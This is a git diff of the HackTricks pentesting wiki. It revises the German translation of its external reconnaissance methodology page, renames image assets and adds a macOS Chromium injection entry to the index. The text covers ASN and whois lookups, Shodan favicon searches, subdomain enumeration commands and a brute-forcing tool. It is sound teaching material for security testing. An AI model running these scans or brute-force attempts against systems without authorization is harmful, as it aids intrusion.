diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
new file mode 100644
index 000000000..e70bceed6
Binary files /dev/null and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index e70bceed6..2173ed0a4 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 2173ed0a4..53e9f7c1f 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 53e9f7c1f..0ea1b8586 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 0ea1b8586..b38f1e7c3 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index b38f1e7c3..0e554c193 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 0e554c193..a8cfa5b77 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index a8cfa5b77..33c23d55b 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index 33c23d55b..bedca8e18 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index bedca8e18..a0a303a29 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index a0a303a29..f9a051e20 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index f9a051e20..0b96b38ef 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png
index 0b96b38ef..0ea2dbdc6 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png
index 0ea2dbdc6..af973a127 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png
index af973a127..4207464e0 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png
index 4207464e0..ca4f55331 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png
index ca4f55331..1e61555dd 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png
index 1e61555dd..6856b34b8 100644
Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png
index 6856b34b8..cee86ab50 100644
Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ
diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png
index cee86ab50..1a985c3d4 100644
Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ
diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png
index 1a985c3d4..70fe9294a 100644
Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ
diff --git a/SUMMARY.md b/SUMMARY.md
index a1eda7d91..1f0d19d0f 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -161,6 +161,7 @@
* [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md)
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
+ * [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
@@ -509,7 +510,7 @@
* [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
* [50030,50060,50070,50075,50090 - Pentesting Hadoop](network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md)
-## 🕸 Pentesting Web
+## 🕸️ Pentesting Web
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
@@ -664,7 +665,7 @@
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
-## ⛈ Cloud Security
+## ⛈️ Cloud Security
* [Pentesting Kubernetes](https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security)
* [Pentesting Cloud (AWS, GCP, Az...)](https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology)
@@ -722,7 +723,7 @@
* [ICMPsh](backdoors/icmpsh.md)
* [Cobalt Strike](c2/cobalt-strike.md)
-## ✍ TODO
+## ✍️ TODO
* [Other Big References](misc/references.md)
* [Rust Basics](todo/rust-basics.md)
diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md
index b1f0ce219..7e94f5bb7 100644
--- a/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -2,7 +2,7 @@
-Erlernen Sie AWS-Hacking von Null auf Held mithtARTE (HackTricks AWS Red Team Expert)!
+Erlernen Sie AWS-Hacking von Grund auf mithtARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
@@ -14,7 +14,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
-
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
@@ -28,8 +28,8 @@ Das Ziel dieser Phase ist es, alle **Unternehmen, die dem Hauptunternehmen gehö
1. Die Übernahmen des Hauptunternehmens finden, dies gibt uns die Unternehmen im Rahmen.
2. Die ASN (falls vorhanden) jedes Unternehmens finden, dies gibt uns die IP-Bereiche, die von jedem Unternehmen besessen werden.
-3. Reverse-Whois-Lookups verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) im Zusammenhang mit dem ersten zu suchen (dies kann rekursiv durchgeführt werden).
-4. Andere Techniken wie Shodan `org` und `ssl`-Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden).
+3. Reverse-Whois-Suchen verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) im Zusammenhang mit dem ersten zu suchen (dies kann rekursiv durchgeführt werden).
+4. Andere Techniken wie Shodan `org`und `ssl`-Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden).
### **Übernahmen**
@@ -46,13 +46,13 @@ Ein **AS** besteht aus **Blöcken** von **IP-Adressen**, die eine klar definiert
Es ist interessant zu erfahren, ob das **Unternehmen eine ASN zugewiesen hat**, um seine **IP-Bereiche zu finden**. Es wird interessant sein, einen **Vulnerabilitätstest** gegen alle **Hosts** im **Rahmen** durchzuführen und nach Domains innerhalb dieser IPs zu suchen.\
Sie können nach dem Unternehmensnamen, nach der IP oder nach der Domain unter [**https://bgp.he.net/**](https://bgp.he.net)** suchen.**\
-**Je nach Region des Unternehmens könnten diese Links nützlich sein, um mehr Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). In jedem Fall erscheinen wahrscheinlich alle** nützlichen Informationen **(IP-Bereiche und Whois)** bereits im ersten Link.
+**Je nach Region des Unternehmens könnten diese Links nützlich sein, um mehr Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Wie auch immer, wahrscheinlich erscheinen bereits alle** nützlichen Informationen **(IP-Bereiche und Whois)** im ersten Link.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
-Auch [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** Subdomain-Enumeration aggregiert automatisch ASNs am Ende des Scans und fasst sie zusammen.
+Auch die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot) aggregiert und fasst automatisch ASNs am Ende des Scans zusammen.
```bash
bbot -t tesla.com -f subdomain-enum
...
@@ -69,14 +69,14 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
-Du kannst die IP-Bereiche einer Organisation auch unter Verwendung von [http://asnlookup.com/](http://asnlookup.com) finden (es hat eine kostenlose API).\
-Du kannst die IP und ASN einer Domain unter Verwendung von [http://ipv4info.com/](http://ipv4info.com) finden.
+Du kannst die IP-Bereiche einer Organisation auch unter Verwendung von [http://asnlookup.com/](http://asnlookup.com) (es hat eine kostenlose API) finden.\
+Du kannst die IP-Adresse und ASN einer Domain unter Verwendung von [http://ipv4info.com/](http://ipv4info.com) finden.
### **Suche nach Schwachstellen**
Zu diesem Zeitpunkt kennen wir **alle Assets im Umfang**, daher könntest du, wenn erlaubt, einen **Schwachstellen-Scanner** (Nessus, OpenVAS) über alle Hosts starten.\
Außerdem könntest du einige [**Port-Scans**](../pentesting-network/#discovering-hosts-from-the-outside) durchführen **oder Dienste wie** Shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was du findest, solltest du** in diesem Buch nachsehen, wie du verschiedene mögliche Dienste pentesten kannst.\
-**Außerdem könnte es sich lohnen zu erwähnen, dass du auch einige** Standard-Benutzername **und** Passwortlisten **vorbereiten und versuchen kannst, Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu brute-forcen.
+**Außerdem könnte es sich lohnen zu erwähnen, dass du auch einige** Standard-Benutzernamen **und** Passwortlisten **vorbereiten und versuchen kannst, Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu brute-forcen.
## Domains
@@ -84,7 +84,7 @@ Außerdem könntest du einige [**Port-Scans**](../pentesting-network/#discoverin
_Bitte beachte, dass du in den folgenden vorgeschlagenen Techniken auch Subdomains finden kannst und diese Informationen nicht unterschätzt werden sollten._
-Zuerst solltest du nach den **Hauptdomains** jeder Firma suchen. Zum Beispiel ist für _Tesla Inc._ wird es _tesla.com_ sein.
+Zuerst solltest du nach den **Hauptdomains** jedes Unternehmens suchen. Zum Beispiel ist für _Tesla Inc._ wird es _tesla.com_ sein.
### **Reverse DNS**
@@ -95,24 +95,21 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
-Um dies zu ermöglichen, muss der Administrator manuell das PTR aktivieren.\
-Sie können auch ein Online-Tool für diese Informationen verwenden: [http://ptrarchive.com/](http://ptrarchive.com)
+### **Rückwärtssuche Whois (Schleife)**
-### **Reverse Whois (Schleife)**
-
-Innerhalb eines **whois** können Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern finden... Aber noch interessanter ist, dass Sie **weitere Assets im Zusammenhang mit dem Unternehmen** finden können, wenn Sie **Reverse-Whois-Suchen nach einem dieser Felder durchführen** (zum Beispiel in anderen Whois-Registern, in denen dieselbe E-Mail erscheint).\
-Sie können Online-Tools wie:
+Innerhalb eines **whois** können Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern finden... Aber noch interessanter ist, dass Sie **weitere Assets im Zusammenhang mit dem Unternehmen** finden können, wenn Sie **Rückwärtssuchen im Whois nach einem dieser Felder** durchführen (zum Beispiel in anderen Whois-Registern, in denen dieselbe E-Mail-Adresse erscheint).\
+Sie können Online-Tools wie folgt verwenden:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Kostenlos**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Kostenlos**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Kostenlos**
-* [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** Web, nicht kostenloses API.
+* [https://www.whoxy.com/](https://www.whoxy.com) - **Kostenlos** web, nicht kostenloses API.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nicht kostenlos
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nicht kostenlos (nur **100 kostenlose** Suchen)
* [https://www.domainiq.com/](https://www.domainiq.com) - Nicht kostenlos
Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink)verwenden (erfordert einen Whoxy-API-Schlüssel).\
-Sie können auch automatische Reverse-Whois-Entdeckungen mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
+Sie können auch einige automatische Rückwärtssuchen im Whois mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
@@ -131,7 +128,7 @@ Es gibt einige Seiten und Tools, mit denen Sie nach diesen Trackern und mehr suc
### **Favicon**
-Wussten Sie, dass wir verwandte Domains und Subdomains zu unserem Ziel finden können, indem wir nach demselben Favicon-Icon-Hash suchen? Genau das macht das [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)-Tool von [@m4ll0k2](https://twitter.com/m4ll0k2). So verwenden Sie es:
+Wussten Sie, dass wir verwandte Domains und Subdomains unseres Ziels finden können, indem wir nach demselben Favicon-Icon-Hash suchen? Genau das macht das [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)-Tool von [@m4ll0k2](https://twitter.com/m4ll0k2). So verwenden Sie es:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@@ -140,11 +137,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
Einfach ausgedrückt ermöglicht es uns favihash, Domains zu entdecken, die denselben Favicon-Symbol-Hash wie unser Ziel haben.
-Darüber hinaus können Sie auch Technologien mithilfe des Favicon-Hash suchen, wie in [**diesem Blog-Beitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass Sie, wenn Sie den **Hash des Favicons einer verwundbaren Version einer Web-Technologie** kennen, in Shodan danach suchen können und **mehr verwundbare Stellen finden**.
+Darüber hinaus können Sie auch Technologien mithilfe des Favicon-Hash suchen, wie in [**diesem Blog-Beitrag**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) erklärt. Das bedeutet, dass Sie, wenn Sie den **Hash des Favicons einer verwundbaren Version einer Web-Technologie** kennen, in Shodan danach suchen können und **mehr verwundbare Stellen finden**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
-So berechnen Sie den **Favicon-Hash** einer Webseite:
+Das ist, wie du den **Favicon-Hash berechnen** kannst einer Webseite:
```python
import mmh3
import requests
@@ -159,7 +156,7 @@ return fhash
```
### **Urheberrecht / Eindeutiger String**
-Suchen Sie in den Webseiten nach **Zeichenfolgen, die in der gleichen Organisation auf verschiedenen Websites geteilt werden könnten**. Die **Urheberrechtszeichenfolge** könnte ein gutes Beispiel sein. Suchen Sie dann nach dieser Zeichenfolge in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Urheberrechtszeichenfolge"`
+Suchen Sie in den Webseiten nach **Zeichenfolgen, die in verschiedenen Websites derselben Organisation geteilt werden könnten**. Die **Urheberrechtszeichenfolge** könnte ein gutes Beispiel sein. Suchen Sie dann nach dieser Zeichenfolge in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Urheberrechtszeichenfolge"`
### **CRT-Zeit**
@@ -168,52 +165,52 @@ Es ist üblich, einen Cron-Job wie folgt zu haben:
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
-### Externe Aufklärungsmethodik
+### Externe Recherche-Methodik
-Um alle Domain-Zertifikate auf dem Server zu erneuern, selbst wenn die CA, die dafür verwendet wird, die Generierungszeit nicht im Gültigkeitszeitraum angibt, ist es möglich, **Domänen, die demselben Unternehmen gehören, in den Zertifikatstransparenz-Logs zu finden**.\
+Um alle Domain-Zertifikate auf dem Server zu erneuern. Dies bedeutet, dass selbst wenn die CA, die dafür verwendet wird, die Zeit, zu der es generiert wurde, nicht im Gültigkeitszeitraum angibt, es möglich ist, **Domains, die demselben Unternehmen gehören, in den Zertifikatstransparenz-Logs zu finden**.\
Schauen Sie sich dieses [**Writeup für weitere Informationen**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/) an.
### **Passive Übernahme**
-Es ist anscheinend üblich, Subdomänen IP-Adressen zuzuweisen, die Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse zu verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher wird durch das **Starten einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **die Kontrolle über einige Subdomänen übernommen**.
+Es ist anscheinend üblich, dass Personen Subdomains IP-Adressen von Cloud-Anbietern zuweisen und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher werden durch das **Starten einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernommen**.
-[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das eine VM in DigitalOcean **startet**, die **IPv4** des neuen Geräts **abruft** und in Virustotal nach Subdomänen-Einträgen sucht, die darauf verweisen.
+[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean startet**, die **IPv4** des neuen Geräts **abruft** und in Virustotal nach Subdomain-Einträgen sucht, die darauf verweisen.
-### **Andere Methoden**
+### **Andere Möglichkeiten**
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
**Shodan**
-Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie nach diesen Daten in Shodan suchen, indem Sie Folgendes verwenden: `org:"Tesla, Inc."`. Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domänen im TLS-Zertifikat.
+Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie nach diesen Daten in Shodan suchen, indem Sie Folgendes verwenden: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat.
-Sie könnten auf das **TLS-Zertifikat** der Hauptwebseite zugreifen, den **Organisationsnamen** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder verwenden Sie ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
+Sie könnten auf das **TLS-Zertifikat** der Hauptwebseite zugreifen, den **Organisationsnamen** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller bekannten Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder verwenden Sie ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
-[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **mit einer Hauptdomäne verbundenen Domänen** und **Subdomänen** von ihnen sucht, ziemlich erstaunlich.
+[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **mit einer Hauptdomain verbundenen Domains** und **Subdomains** von ihnen sucht, ziemlich erstaunlich.
-### **Suche nach Schwachstellen**
+### **Nach Schwachstellen suchen**
Überprüfen Sie auf [Domain-Übernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Möglicherweise verwendet ein Unternehmen **eine Domain**, hat aber **die Eigentümerschaft verloren**. Registrieren Sie sie einfach (wenn sie billig genug ist) und informieren Sie das Unternehmen.
Wenn Sie eine **Domain mit einer anderen IP** als denjenigen finden, die Sie bereits in der Assets-Entdeckung gefunden haben, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie "anzugreifen"**.\
-_Beachten Sie, dass die Domain manchmal in einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt. Seien Sie vorsichtig._
+_Beachten Sie, dass die Domain manchmal innerhalb einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt, seien Sie vorsichtig._
\
**Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns noch heute bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und beginnen Sie, Prämien von bis zu **100.000 $** zu verdienen!
{% embed url="https://go.intigriti.com/hacktricks" %}
-## Subdomänen
+## Subdomains
-> Wir kennen alle Unternehmen im Scope, alle Vermögenswerte jedes Unternehmens und alle mit den Unternehmen verbundenen Domänen.
+> Wir kennen alle Unternehmen im Scope, alle Vermögenswerte jedes Unternehmens und alle mit den Unternehmen verbundenen Domains.
-Es ist an der Zeit, alle möglichen Subdomänen jeder gefundenen Domain zu finden.
+Es ist an der Zeit, alle möglichen Subdomains jeder gefundenen Domain zu finden.
### **DNS**
-Versuchen wir, **Subdomänen** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zone Transfer** suchen (Wenn anfällig, sollten Sie es melden).
+Lassen Sie uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zone Transfer** suchen (Wenn anfällig, sollten Sie es melden).
```bash
dnsrecon -a -d tesla.com
```
@@ -393,12 +390,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Neben der Generierung von Subdomain-Permutationen kann es auch versuchen, sie aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden).
-* Sie können die altdns Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten.
+* Du kannst die altdns Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) bekommen.
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
* [**dmut**](https://github.com/bp0lr/dmut): Ein weiteres Tool zur Durchführung von Permutationen, Mutationen und Änderungen von Subdomains. Dieses Tool wird das Ergebnis per Bruteforce erzwingen (es unterstützt keine DNS-Wildcards).
-* Sie können die dmut-Permutationswortliste [**hier**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) erhalten.
+* Du kannst die dmut-Permutationswortliste [**hier**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) erhalten.
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
